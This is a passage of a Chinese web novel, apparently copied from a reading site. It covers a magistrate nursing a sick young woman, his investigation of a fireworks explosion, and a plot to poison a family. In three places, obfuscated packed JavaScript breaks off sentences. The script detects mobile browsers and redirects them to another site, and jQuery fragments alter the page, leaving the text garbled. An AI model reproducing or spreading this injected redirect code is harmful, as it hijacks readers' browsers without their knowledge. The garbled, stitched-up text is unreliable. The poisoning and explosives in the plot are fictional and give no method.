“公子，换好了！”春树嫂看了一眼床上，不好意思地道，“我们贫苦人家，就只这一床破被褥，你们只有……将就一晚了。” 说着，退出去将门掩上了。 周冶连连谢过，转身举着豆大的油灯，四下打量，真真是家徒四壁，面面漏风。窗外的呼号声一起，冷风就直往里钻。他不由跟着一哆嗦。 再看床上的孟珂，身子已经蜷缩了起来。 他走到床沿坐下，给她掖严实了些。可那被子本就破旧，已经板结了起来，东一块西一块的，里面的棉花想必也舍不得用好的。 此时，也只好自我安慰，好歹比野地里强些！ 他头往后一仰，无力地靠在床头，再次后悔起自己做的这事来，苦了人家姑娘，也折腾了自己。 折腾到这深夜，尤其还被这大小姐实实在在地吓了好几次，他此时已是身心俱疲，一闭眼，只几息之间就朦胧了过去。 睡着睡着，他的头和身子慢慢歪了下去，无意识地调整了姿势，躺下去了。 两人就这么同床共枕，相向而眠了。 *** 下雨了？周冶迷迷糊糊中觉得脸上湿湿的，抬手一摸，黏糊糊的，突然反应了过来——他不在京中卧房，也不在衙门内院，而是在一个素不相识的农户家中。 怀里……还有个人！ 自己竟不知何时睡着了过去！大概是冷了，缩进了被子，竟与人姑娘……同衾共枕而眠了。 他忙睁眼去看，孟珂面朝他侧身卧着，有泪盈于她鸦尾似的睫尖，正一缕又一缕地顺着眼角往下淌着，枕上已然一片润湿。 瞧她好像又被魇住了，也不知梦中见到了什么，面上的惊惧少了些，悲恸则多了些，眼泪如泉，汩汩而出。 奇异的是，她一直流泪，却一点声息都没有。 他见过的女子，不论年纪脾性，哭都是有声的，都是工笔重彩、各显神通的。可她这种无声无息，只有眼泪，只见悲恸的，还是头一遭。 就像一幅水墨山水，最简单，却也最突显其画意。 “婉婉？婉婉？” 一点反应也没。 他看了一眼窗外，天色还早，不由叹了口气，这一夜可真够长啊！ 看了看润湿的枕头，只怕她睡在上面，湿寒之气入脑。他长伸手臂，拎起角落里那只枕头，一提起来就听得响，装的大概是什么粮食的壳，还是什么干草之类的。 他试着往脸上挨了挨，果然扎得慌！难怪被她弃了——昏迷中的小姐，也终究是小姐。 又只有牺牲他了。他轻轻将她的头抱起来，抽掉湿了枕头，枕在了自己腿上。 调整好姿势，低头看她，心道，你到底梦到了什么悲痛过往？ 见她的眉头微微蹙了起来，他抬手想替她抚平，正好见一滴晶莹的泪，汇聚睫尖，从眼角滑落…… 男人好像天生就见不得女人哭。那些吵闹的他总觉得烦，而她这般的落泪，却让人觉得……莫名揪心。 他抬手轻轻拭去，可那泪如涓涓细流，汩汩不绝起来。 她脸上的表情越来越痛苦，泪也越来越急，可她始终有一种神奇的力量，愣是不发出一点声音来。 周冶叹了口气，试探着将她搂入怀中，轻轻拍着她的背：“婉婉，没事！婉婉，不怕！” 他就那么轻轻地拍着，时而看看天色，等着时间一点点过去。拍着拍着……眼皮都抬不起来了，又朦胧了过去。 *** 一只鸟儿试探似的叫了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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天色尚早，外面的鸡叫鹅叫，还有鸟叫，已在此起彼伏，竞相唱和。孟珂这病耽误不得了，得乘早找个马车回城才是。 然而，出去一问春树，找马车是不可能的，只能到最近的人家借一辆牛拉的板车。 他自己倒是有马，可那烈性的家伙哪里是能拉车的？不得尥一路的蹶子，连他这样的身板只怕都得颠散架。 等春树借了车来，用干草厚厚地铺了，他自己坐上去，让大小姐继续枕在自己依然有点僵的大腿上，又将那破被子带上了。 随着春树一声吆喝，周家大公子就乘着牛车进城了——牛车后，还跟着一匹骏马。这只能看着马儿坐牛车的滋味，也是够有意思的。 这样子要是让京里那帮家伙看见，得笑他十年。不，怀中还有个村妇打扮的卢家养女，得说道二十年！ 他直摇着头，心下自嘲道，“这日子可真是越过越新鲜了。” 不过，想想孔圣人不也坐牛车周游列国？他如今也算效仿圣人之举，周游……单游绥陵。 他正为自己此想而觉得甚妙的时候，车轱辘压了块石头，车子一颠，屁股随即腾了空，猛地又砸下。 可他此刻也顾不得屁股疼了——这一颠，孟珂便从他腿上滚了下去，眼看要蹭到车轮上去，他忙扑上一把搂住了，车轱辘堪堪擦着他的手过去，挂坏了他那金贵的云锦。 惊险之余，他看了看她的脸，心道，还好！还好！就这一刮擦上去，只怕这“西孟”就算毁了，京城从今往后就只剩一美了。 那春树晃悠着腿，坐在车辕上，回身对他爽朗一笑：“大兄弟，没伤着吧？” 周冶看了看手上的擦伤，苦笑道：“没事，没事。” 春树笑道：“这牛车你没坐惯吧！今日走这一程，只怕你屁股要痛上好几日呢。” 说着，抬手往牛屁股上一抽，仰头大笑了起来。 牛急走几步，又小颠了几下。 周冶：“……” 这手酸腿麻还要加上屁股痛，又是破皮，又是损衣的，还被嘲笑…..这一定是上天对他的惩罚！ 那春树笑罢，一亮嗓子，竟唱起了山歌。 “高高山上哟，一树哟——槐哟喂——” 周冶不由哭笑不得，可低头一看，孟珂似乎也听见了。也许是乐声欢乐，也许是帮着分了神，她微蹙的眉头舒开了些。 他心头也跟着松快了些，看着乡野风光渐次退去，听着高亢清亮的山歌，竟也咂摸出了些味道。 “我望槐花哟——啥时开哟喂——” 等春树唱到不知第几遍的时候，他竟不自觉地跟着低声哼起了调子。 60. 证据 春树中气十足，不知疲倦地唱了半路，直到牛车咿咿呀呀地快进城，才住了口。 路上人开始多了，这牛车也开始一路惹人侧目。 周冶这人本就长得好，还一身贵公子打扮，坐在牛车上，本来就已经够引人注目了。偏他怀里还抱了个穿着花袄的姑娘，任谁都要多看几眼。 等入了城，很快就有人认出了他，指着他道：“这……这不是……” 周冶忙打断，朝人使眼色，竖起食指小声“嘘”道：“对！公子我今天试试牛车！别有野趣！别有野趣！” 说着，低头看孟珂的脸没露出来，才又放了心。 牛仿佛听懂了似的，哞哞叫着甩了甩尾巴。 一路到了县衙后门，周冶叫停了，左右看了看，见没人，才从车上抱下孟珂，往里走去。 涤砚听见下人回报，迎出来一看，愣了：“公子不是去熹园了么，怎么……” 怎么坐着牛车回来了！还抱了个……乡下姑娘？这闹的又是哪出。 春树根本不知道哪是哪，跟着一路进去，左顾右看，心道，就知道这公子出身不凡，果然是大户人家。 等他听见了下人称呼，春树张大了嘴，半天合不上，结巴了起来：“大……大……大人？什么大人？” 下人奇怪地看他：“这是县衙，这自然就是县令大人” 这年轻公子，就是本县的县令大人！完了！自己这一路上，还笑他来着，一边笑，还一边高兴地唱曲儿来着…… 春树呆了半晌，脚一软，跪了下去，伏倒在地：“大人，小的眼屎没擦干净，没能认出大人！” “起来，起来！”周冶回头看他那样，忙吩咐人将他带进去。 那春树腿还软着，被人半搀半拖地架着走，心中还在悔叫连连。 早知如此，昨夜就该把自己床上的新棉被给他了！这一路听他打了几个喷嚏，像是着凉了。 对了，听他肚子叽咕叫了好几回。虽是他说赶路要紧，不用麻烦，可他们竟也就算了，连鸡蛋都没煮一个，饼也没烙一张…… 他看了看前方，不知自己这是要被带到哪儿去。不会是把他关进大牢吧？不会杀头吧？自己还能活着走出这县衙吗？媳妇还能把牛车取回去吗，那还是借人的…… *** 周冶只主仆四人赴任，只住了一个院子，后院的其他院子一直没收拾，便直接将孟珂抱进了自己的卧房。 涤砚给熹园那边传了信。回雪和洗墨、侍剑三人，一路飞一般赶回了县衙。 回雪见一路进了个男子卧房，再看床上穿着粗布花袄的小姐，昏睡不醒，状况实在不好，一时又惊又怒：“这……” 她看向周冶，“你把我家小姐怎么了？我家小姐的……衣服呢？” 这一说，洗墨三人齐刷刷地看了看床上的小姐，又看向了周冶。 周冶道：“她昨夜发了汗，打湿了……” 几人的脸色瞬时变了，周冶一看，急道：“不……不是！不是你们想的……那样！是发了冷汗！虚汗！才换的。” 回雪指着道：“你换的？” 周冶：“不是，我没动手，我就站在那儿，是春树嫂换的。” 侍剑：“你还站在那儿……” 周冶：“我没看！背过身去了！” 洗墨：“你还想看？” “行了！”周冶瞪了那仨一眼，这几个叛徒，都什么时候了，也不知道帮忙，还瞎起什么哄，“现在这重要吗，瞎耽误什么功夫！” 回雪听了：“这不重要？” 周冶一扶额头，顿了顿，还是调整了语气，好声好气地道：“我是说……现在看病更重要！你家小姐这是什么病？怎么治？” 回雪也关心则乱了，回过神来，连连点头：“是惊恐之症，可……怎么突然就犯了呢？她已经很久没犯过了，你到底对我们小姐做什么了？” 周冶：“……” 得，又绕回来了。 好在，大夫这时到了，好歹替他解了围。 看完诊，到了偏厅坐下。 大夫道：“这惊恐之症发作起来，长的，数个时辰可缓解，短的，则不一而足。但这位姑娘应是一再受惊，反复发作了几次，故而病势严重。加之，此前就伤了根基，怕是每年此时……都不好过吧？” 一说到小姐病势，回雪就微微红了眼，点头道：“对！我家小姐的旧疾，每到过年前后便犯。今年倒多撑了月余，本以为能熬过这个观看，结果……” 说着，横了周冶一眼。 周冶让她瞪，也只有生受了。 原以为孟珂也就是一时的发作，顶多遭几日罪就过了。听了大夫和回雪的话，这根本就是开启了一个闸门，只怕要病势如洪，蔓延泛滥。 果然，大夫点着头道：“小姐身子本就弱，又有近期虚耗过度之象，病势已成，不是一时半刻能好的，只怕还要反复，甚至恶化……” 周冶忙问：“那如何治呢？” 大夫看了他一眼，叹道：“这人啊，当不治已病，治未病。小姐这样的经年久病嘛，好生将养，不犯病，比什么大夫、灵药都强。她这旧疾，经年日久，怕是什么大夫都瞧过了，什么灵药也都用过了。” 说着，摇起了头，“老朽无能，治她这已病，难哪！” 回雪拧眉听着，请求道：“好歹请尽力一试。” 熹园的大夫接了家书，刚走，前来换他的大夫还在路上。谁想那么寸，就在这个当口出了这意外。 “老朽开几个方子，先用三日看看。”大夫往卧房的方向看了一眼，叹了口气，提笔边写边道，“可惜啊，这么年轻的小姐，正当盛年……” *** 送走大夫，周冶轻手轻脚地走到卧房门口。 见回雪正坐在床头，回头睨了他一眼，也不说话，自顾自拿干手巾轻轻沾去小姐额角的细汗，又接过五儿递过来的热毛巾，小心地敷上。 周冶理亏，上前道：“此事是我鲁莽，害了你家小姐，我自会负责。” 回雪没搭理，一张脸又冷又硬。 周冶咽下了尴尬，继续道：“大夫也说了，她现下不宜挪动，就暂时留在我这儿吧，就住我这竹雨院。姑娘需要什么，随时同底下人说，他们自会照办。” “今日进城的时候，我虽用被子将你家小姐遮严实了，但……我抱了个姑娘进城的事，要不了半日只怕就传到人尽皆知。” 听到“抱了个姑娘进城”几个字，回雪的脸色更难看了。 周冶只当没看见，“外头现在只怕都等着看，姑娘到底是什么人呢。你们若是这两日便自衙门出去，只怕……于你家小姐名声有碍。” “况且，你家小姐若是这么回熹园去，只怕……瞒不过你家那位二公子。他此时若得了消息，只怕立马就要冲回来……” 回雪心道，是了，小姐必定不想将此事闹大，更不会想此时把二公子招来。京中现在不知是何情形，小姐无论如何也不会想因为自己的身体，破坏府上的大事安排。 她面色虽仍硬着，好歹开了口：“如此，便叨扰大人了。” 周冶又呆了一会儿，自觉无趣，也帮不上忙，只好出去了。 他叫过涤砚，吩咐道：“立刻去找厨娘。这衙门和后院的厨房要单开，都要找妥帖的人。另外，这内院也要多添几个人，挑好的，照顾小姐的衣食起居。” 涤砚道：“知道年后即刻就要用人，我已留心打听过了。这最好的牙人，公子你还认识。” 周冶疑惑：“我哪认识什么本地的牙人？” 涤砚道：“就是嘉县的池记。” *** 这属实没想到，周冶奇道：“他不是做的古董和家具买卖？” “一开始的确是做这生意，但池记如今已经掌握了这几州一等奴仆的买卖，只怕倒比本行的买卖，更风生水起。” 周冶更奇了：“这话怎么说？这古董可以无价，奴仆再好，也有价码。” 涤砚这才细细道来。 原来，这古董也好，家具也罢，小件的还好说，大件的常要上门。尤其是家具，往往是大件，很难搬去古董店相看询价，且越是成套的，越难得，也越不便。故而，这买卖跟买主、卖家都少不了打交道，常常都要在府里进进出出多回。 池记的生意做得相当漂亮，上门勤快，送货、安置、摆放都不在话下，甚至还时时上门帮着养护。这卖的，虽多是落魄之家。可买的，却往往是望族、新贵。一来二去的，池记便跟名门大户都熟稔了起来，人脉也很快就如蛛网密布。 后来，借着这张网，顺手便做起了奴仆买卖的生意。 这池记做买卖，向来与别不同，做起牙人来也独树一帜。他一要挑客户，只做熟客，帮人找合适的人算是顺手，不靠这吃饭。二来，他不是简单的一手买进，一手卖出，就跟买卖古董一样，极挑，人的品貌资质都要上好的。 待买过手之后，他也不急于卖，而是根据各自的资质，请人教规矩，学技能，慢慢养着，并不急于出手。等某个人家，指定要个什么样的人，他再顺手荐过去。 周冶恍然：“这便是为什么掌握的是一等奴仆的买卖，不涉猎普通的。” 如此精心调教过的，价格自然不便宜， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999157|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但大户人家并不在意多花几个钱。 涤砚道：“正是，那粗使的、三六九等的仆人，随便一个牙人处都能买。但真要有些要求的，上等的仆人，可不那么好找到称心如意的。” “他选人和调教都很有一套，荐过去的人，大多直接便能上手，少有不满意的。况且，他还打包票，若主家觉得不合适，包换人，保证让主家省心省事！” “竟还有这事！”周冶那日就觉得，池记没那么简单，但没想到竟然是做这的。 难不成，孟珂那日去他店里，不是为添买家具，而是选人的？ 那池正毕竟是做过官差的，做缉捕刑讯的，看人和调教人应该有一套，但能想出这样的买卖来，倒着实出乎他意料。 涤砚也觉得奇怪：“公子，这生意的法子是好，但贵在新奇，寻常人一时想不到。但其他那些牙人，既知道了，就不抢生意吗？怎么就让他独揽了？” 周冶却明白了，解释道：“一开始，谁也没想到这招。等看明白了，他的口碑已经做出来了。你看我们自己府上，各项采买不也就是用惯了的那些商户？有的还用了几代人，轻易不换，就图一个省心省事！” 涤砚低下头笑了，心道，是啊，要货比三家的，那都是小户人家。对大户人家来说，多花点钱，事情办得好，那都不是事。自己终究还是那荷包捉襟见肘的思路。 “还有，”他又想到了什么，“这池记最绝的是，还管善后。凡他手里出去的人，若出了问题，他还负责领回去，要么重新荐人，要么高价赔钱，由主家自己选。若不是犯了要死的错，或有什么见不得人的事，便让他领回去了。” 周冶道：“瞧，这就是为什么只有他独揽了！有几个牙人愿意兜这个底？这卖货还讲究银货两讫呢。人可比货麻烦多了，后续能出的问题也多多了。还不如快进快出，风险不归自己担。” 涤砚道：“对，听说，就连那些牙人也愿意把品貌资质好的送上门去，让他挑——他眼虽刁，但凡选中的人，出价甚至比寻常府第还高。” 这一套，着实有些高妙，似乎也圆范，但周冶隐隐觉得，有什么不对，可一时也没想到是哪里不对。 他前一日跑了一整天，又照顾孟珂一夜，几乎没怎么睡，此时脑子都转不动了，打了个呵欠道：“既如此，就找他吧，要快，要好！” “是。”涤砚见他困倦难耐，忙道，“隔壁听风轩已经收拾出来了，公子的东西也搬过去，大略安顿好了。” 最周全的还属涤砚！周冶满意地点着头，径直进了听风轩上房，往榻上一躺，就睡了过去。 *** 他这一觉睡得极沉，一睁眼，日影已经西斜，醒来又连打了几个喷嚏。 只听有人不大不小地哼了一声：“活该！” 听着像回雪的声音，洗墨在一旁听见了，想笑，却又忙憋住了。 周冶疑惑，这怎么说也隔了墙，怎么听得那么清楚？难道是这墙做工粗糙，不隔音？平素隔壁没人，倒也没发现。 洗墨涎着脸过来，阴阳怪气地笑着问：“公子，昨夜……你和小姐，两个人……” 侍剑坐在窗棂上，没说话，却也不由竖起了耳朵。 窗外什么东西响了一声，侍剑推窗跳了出去，一看，地上一颗小松子，往墙头屋上瞧了瞧，没见人影。 周冶见侍剑摇了摇头，回头白了洗墨一眼：“你说说你，脑子里都装的……成日都瞎想些什么！” 一语未毕，又连打了一串喷嚏。 “怕不是着了风寒？”洗墨这才想起来，“对了，公子你的狐裘呢，怎么没穿回来？那可是上好的狐裘啊，就算不到千金吧，也差不远了！” 周冶想起那场混乱就脑仁儿疼，没好气地道：“怎么，我自己的东西，还要向你交代？你是公子，我是公子？” 说着就起身往隔壁外竹雨院走。 洗墨跟在后头不依不饶：“还有，你那身云锦，都擦破了，上头又是土，又是血迹的，前襟还有什么，湿过的样子……”?? 那是……她的泪痕。周冶顿住了脚步：“我那衣服呢？” 这话问得奇怪，但凡脏污的衣服，他不都叫一扔了事，洗墨道：“扔了！” “捡回来。不许扔，”周冶转头指着他，“也不许洗！留着！” 洗墨更摸不着头脑了：“为什么？” 周冶顿了顿，挤出两个字：“证据！” 他虽犯了无心之过，但也遭了惩罚的证据。 说罢，出了院门。 洗墨看着侍剑：“公子昨日到底都干嘛了？一身的脏污，怎么还成证据了。” 61. 昏睡 周冶到了竹雨院，卧房的门虚掩着，只小丫鬟五儿守在床前。 他轻轻推门进去，一问，说是回雪乘夜回熹园取东西去了。 也是，回雪来得急，更没料到小姐是这个状况，衙门里住的又都是大男人，连件能穿的衣服也没有。这一日下来，孟珂一直出虚汗，衣服被褥都换几回了，如今身上穿的还是他的衣服。 周冶看了看院外——回雪走了，那方才冷笑他活该的是谁？扔松子打断他们说话的又是谁？ 他心中了然，暗笑道，这个不露面的，还真如洗墨所说，是个爱玩闹的。 五儿看着周冶，欲言又止了几回，终于不好意思地道：“大人，你这一时……不走吧？” 周冶奇怪地看她。 “大人既在这儿，我就先出去……一下。” 看那小丫鬟脸尴尬得脚趾抠地的样子，周冶忙抬手一挥：“去吧，有我在呢。” 瞧五儿疾步出去的样子，他心道，回雪果然已经走了有些时候了。熹园的庶务素日都是回雪在帮着小姐料理。如今小姐病着，她这一趟回去，自然有诸般事情要处理，一时半刻回不来。 他这又想到，她们既不愿惊动卢二公子，自然不好从熹园带人过来。自己素日就洗墨这仨跟着，整个衙门内院连个贴身丫鬟都没有。那些粗使的婆子丫头，伺候不妥贴。她们也不会放心让人近身。这找下人的事，得即刻办了。 如此想着，他走榻前坐了下来，看孟珂的脸上几乎没有半点血色。 这已经昏迷了一日一夜，怎么不见好转，甚至还醒不过来？ 他心道，我的孟大小姐，梁大小姐，你不会是……讹我的吧。这念头一起，就觉得罪过——任她心机再深再重，这病也不是装得出来的。 他叹了口气，看着她道，“你要真是讹我的，那倒好了！” 说着，伸手在她额上一摸，还有些低热。 恰此时，孟珂轻轻呢喃了两声，吓得他忙从床沿上弹了起来。 再一看，并没醒。 他又坐了下来，刚惊到的心还在蹦着：“婉婉。” 昨夜叫得熟了，脱口便叫了出来，可这一叫，自己倒有些不好意思了——昨夜同衾而眠的画面，当即横陈脑中，不由红了耳根。 孟珂的眉头蹙得越来越紧，额上又有细汗渗出，头也开始左右微微动着。 这是……又被魇住了。 周冶忙坐近了些，熟练地将她扶起来，揽在怀里轻轻拍着：“别怕，婉婉，我在呢，别怕。” “吱呀——”一声，五儿推门就呆住了，竟见周大人坐在床头，把自家小姐抱在怀里，一时进也不是，退也不是。 “还不快把门关上！” 还是周冶先说话道，“也不怕北风进来，吹着你家小姐。” 五儿这才忙关上了门，看也不是，不看也不是。 周冶哪顾得上管她，抬手去摸孟珂的额头，果然，一出了汗，很快就一片冰冷，吩咐道：“愣着干嘛？再去打点热水来，要够热。” “是！”五儿终于有了主心骨，忙去打了水来，打了热热的手巾，站一旁道，“不敢劳烦大人，让我来吧。” “给我。”周冶也没看她，拿过手巾给孟珂敷上，“你歇会儿吧，我这就是顺手的事。” “奴婢分内的事，哪敢假手于人，何况还是大人……” 见周冶不为所动，她也不再多说，侍立一旁帮手，估摸着手巾不够热了，便新打一张递上；看着水温不够了，便添热水，两人配合倒是顺手。 五儿心下惊异——周大人这么个贵公子竟也会照顾人。 突然，门“砰”一声响。周冶被吓了一跳，手巾落在了孟珂脸上。 只听侍剑进来，大声问道：“公子！你跑这儿来了？” 又冲外面喊，“就在这儿呢！” 周冶忙手快地捞起手巾，双目喷火，转头瞪着侍剑：“你小点儿声！” 侍剑这才看了看床上的病人，一摸脑袋道：“啊！忘了。” 这声音也没小多少，不过没大喊了而已。 看周冶拿眼剜着他，侍剑忙改用气声说道：“找你喝药呢。” “先搁着吧！”周冶压着火气道，见他站着，抬手一挥，“赶紧出去！别在这儿添乱了。” “我添什么乱？他们满衙门找公子找不着，还是我说，你可能跑回这儿来了，他们还不信。” 侍剑这么嘀嘀咕咕地出去，在院子里碰到回雪，意味深长地看着她，又扫了她的手两眼。 回雪莫名其妙地看着他，心中急着去看小姐，便也顾不上管他了。 周冶交还了病人，回到听风轩的书房。洗墨忙将火炉边煨着的药端来，伺候他喝了。 下午睡了一回，周冶这会儿一点睡意也无，闲坐案前，兀自发了会儿呆，突然想起了什么，不由暗自一笑，于是，唤洗墨铺纸磨墨，提笔作起画来。 洗墨伺候着，心下嘀咕：“这都多久没闲心提笔了，怎么还起兴作画了！能画什么？烟火绚烂不成？” “这烟火案的事，梁云钦怕是不好全身而退了。”孙九爷笑道。 梁夫人一脸的舒爽：“那张举，看到了不该看的人，本来就得死。没想到，他居然还跟烟火案有关，拉了梁云钦下水！” “这位梁老爷，好日子过了这么些年，也该到头了！不，这些年都算他白赚了。现如今，没了那个人保他，便是周冶不动他，我也要动一动了。” “你想办法把账本拿到手。”梁夫人沉下语气，转头看孙九爷，“他倒霉不要紧，可别牵连了我们，指不定周冶什么时候就带人搜府，万一给他搜出来了呢！” “那老东西肯定不愿交出来。” “所以说……想办法。” 梁夫人凑了过去，孙九爷附耳过去，听她说着，微微点起了头。 *** 第二日清晨，洗墨从桌上抬起头，发现自己竟靠在桌上睡着了。再看公子，仍坐在书案前，头往后仰着，腿架在桌上，也斜倚着睡着了。 走过去一看，案上竟多了两幅画，心道，公子这是一夜未曾睡啊。他不敢惊动，小心地将画收了。 等周冶醒来的时候，虽因睡姿不佳，脖子有些不舒服，但浑身已经松快了。他一向身体强健，些许风寒，喝点药睡上一觉，就好大半了。 他径直去了隔壁看孟珂。 回雪还是有些爱搭不理，但好歹告诉他，小姐的热算是退了，也醒过了，只是还水米难进。 就这么接连几日，孟珂始终昏睡。每多一日，周冶的心就更沉重一分。他就没见过这样成日昏睡，不知道渴，也不知道饿的。 他忧心地问回雪：“她一向如此吗？这样不吃不喝的怎么行？便是寻常人，几天不吃饭，饿也得饿晕了，还别说是体弱的病人。” 回雪冷冷地哼道：“每日的药汤都是能灌多少算多少，吃东西……这几日是不可能的。” 被哼了，周冶也只能装没听见，心知回雪心中也不知骂过他多少回了，哼一下又算得什么。 也不知是第几次短暂醒来的时候，孟珂才恢复了意识，注意到自己身处之处。听了回雪的回报，她无力说话，只轻轻握了握她的手。 回雪明白她的意思，也安心住了下来。 等再醒过来，她只嘱咐了一句“别让二哥哥知道”，便又昏睡了过去。 *** 地气已动，没那么冷了，屋里炭盆还是烧得暖融融的。 周冶这日照常看过孟珂，回了听风轩，往榻上一躺。 涤砚端坐在旁，处理衙门和内院的日常事务。洗墨没事，就在旁边故意闹侍剑，找嘴拌。这两人一个嘴上占便宜，一个手脚占上风，谁也赢不了谁，就那么有一搭没一搭地吵吵嚷嚷。 周冶双手枕在脑后，盯着房顶发呆，心中不自觉地盘着烟火案线索。 这么大批量的烟花，要方便买、方便运，还要不惹人注意，必然不会太远。这些作坊、商家、黑市都查遍了，应该没有疏漏了。除了熹园、梁云钦，还有没有其他可能？ 梁夫人、孙九爷？可不管他们以谁的名义，只要买，就不可能遗漏。连黑市也查了几遍，都没有哪！唯一没能求证的，也就是熹园，可她…… 还有那买烟火的行商，一丁点踪迹也无。估计直接化整为零，分散开了，很难查到踪迹。 化整为零……等等，他突然坐直了——既然可以化整为零，也可以化零为整啊！ “侍剑，快！马上将那些烟火作坊的坊主、卖家都找来！” 侍剑立刻扔下洗墨去了。 那些作坊主、老板们又一次被叫了来，个个唉声叹气、叫苦连天，一嫌耽误生意，二也实在无话可回了。 众人七嘴八舌地叫道，“大人！这过年前后，一次性大量买的人真就这些了。” “对啊！实在没有其他的了。小的们实在不敢隐瞒！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999158|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们这行管制向来严格，谁敢欺瞒？一出事，都是大事，得吃不了兜着走。” 周冶大手一挥，下面的怨声戛然而止，都望着他。 只听他一字一顿地道：“若是期限放宽些呢？能化零为整的有没有？” “化零为整？” “从来只听过化整为零。” 大家一时都没听明白，甚至觉得这位大人今日是突发奇想，找茬为难。 瞧那众脸疑惑，涤砚温声解释道：“就是单次买的量虽不多，但长期在买，积累下来，总量却不少的，有没有？” “长期买，积累下来的……” 老板们相互看了看。 周冶扫视了这些人一圈，举重若轻地道：“实在找不出这人，也无妨。嫌犯便是你们！本大人拿你们交差便是。” 压力也是动力，终于有人眼睛一亮：“有！有人！” 不等那人说完，又有人抢着道，“对！有！是不是个瘸子？” 两人相视一眼，连连点头：“是！是！是！” 更多人开始道，“我那好像也有这么个人！” “去年春天开始，他时不时就来买，说是拿去……炸鱼的。算起来，总量也不小。” 周冶看着那叽叽喳喳的一群：“一个个说。” 青幛镇的作坊老板跳得最高：“我知道他。叫瘸三儿，姓什么，好像是姓……” “金！”有人替他补充道。 “对，姓金！跟作坊里工人还混得挺熟，我都见他们一起喝过好几次酒。” 是了！定是这个人无疑，周冶心下喜道。不管是制作烟火，还是从烟火中拆出火药，乃至制作土质炸/药，本就需要一定的技术。连这些作坊内，都还三不五时发生意外，造成死伤呢。 此人能做这么多，还没把自己送进地府。即便不是熟手，也必定得事先细细地打听明白了，再三试成。若真如此，这人还有些本事，必定是个手巧心细，能自学成才的。 有了明确的嫌犯，孟珂身上的嫌疑变少了许多，周冶心里陡然轻松了许多，尽管此时根本不能排除，此人是不是被指使利用。 周冶站起来：“这姓金的……什么三儿……” “金三儿。” “瘸三儿。” 为了洗清嫌疑，老板们如今一个比一个积极。 周冶道：“此人家在哪，寻常都混迹什么地方？立刻去拿！” 青幛镇的那个老板，带着衙门的人风急火燎地赶出城去。 一群官差又浩浩荡荡地穿街过巷，涌入了金三家。 可屋内空无一人。 那破房子里倒是大喇喇堆着些还没拆完的烟火，还摆着制作土制炸/药的工具。 左近一问，都说这金老头孤僻，平日并不怎么与邻里往来，谁都不知道他上哪儿去了。前两日倒还照常看到他。 *** 此时，那金三就在城中，离衙门几条街外的一个路边摊上，面前摆着一碗吃完了的面，配一碟油酥花生米，一瓶浊酒。 他皱巴的手指，拈几粒花生米，喝一口酒。 一个身形壮实的青年走来，经过他背后，在隔壁桌坐下。金三的桌角却多了个小瓷瓶。 老板迎上来，那人随口要了碗面。 他也没看金三，用只有两人能听见的声音道：“大栖山那一……响后，衙门就加派了人手四处巡逻，还设了宵禁，就为了防止大乱。咱们只有……换个法子。” 金三没作声，仍不紧不慢地喝着自己的酒，吃着自己的花生米。 “您这个堂中元老，寨里当家，正好上门祭奠祭奠，给后辈们好好讲讲过去的故事。让大伙儿都知道知道，他曾怀义的真面目，也让他们……死个明白。” 那人瞄了一眼小瓷瓶道，“别看就这么一小瓶，投入水井，就足以让百十口人毙命。若是直接放入饭食酒水，就更厉害了！这次，就让曾家彻底断了根，也让那些什么亲朋故旧的，至今仍跟他家沆瀣一气的人，一起下去团聚。” 说完，便起身走了。 老板端着一碗热气腾腾的面来，看着那已经远去的背影：“嘿！这什么人啊！” 他叹了口气，招手唤来小伙计，“来，你吃了吧！” 金三不急不慢地喝完了最后一口酒，将几个铜板拍在桌上，小心地将碟子里最后剩的花生米一把抓在手中，一瘸一拐地走了。 而他桌角的瓷瓶，也不见了。 62. 曾府 金三走到曾府所在的巷口，突然停了步，有个地方还是得去看看，转身又出了巷子。 他径直到了城北一条陋巷，走到巷尽头那户人家，只见大门虚掩着，一眼就见院里乱糟糟的。等走到正堂，一推门，尘土扑了他一脸。屋里落了一层灰，显然多日没人住了。 金三这下莫名忧心起来，他前些天已经来过一次，当时只当他不在家，没多想，可如今看着……却着实不对劲了。 难道出了什么事不成？他正打算出去问问周围邻居，余光就瞥见个年轻男子快步走进来，忙转头去看。 来人却不是张举。 那人似乎没料到屋内有人，吓了一跳。 金三乜斜着眼打量来人，来人也看着他，上下打量了他一遍，试探地道：“您……您不会是茄（que二声）……叔吧？” 金三没听懂，也没兴趣，只问：“你认识张举？” 贾四道：“真是您！张二哥老跟我说他……叔。” 金三：“张举人呢？” 贾四看着他，面露迟疑道：“叔，听说您身子不太好，张二哥一直担心您呢。” 金三不耐烦了，敷衍地摆摆手：“人老了，不中用了。这屋子看着好些日子没人住了，他上哪儿去了？” 贾四道：“他……有些日子不见人了。我也到处找，日日来看……” “他……这是失踪了？” 金三心下疑惑道，张举全不知情，自己提前很久断了联系，不应该连累上他啊！ “你可知他出什么事了？” 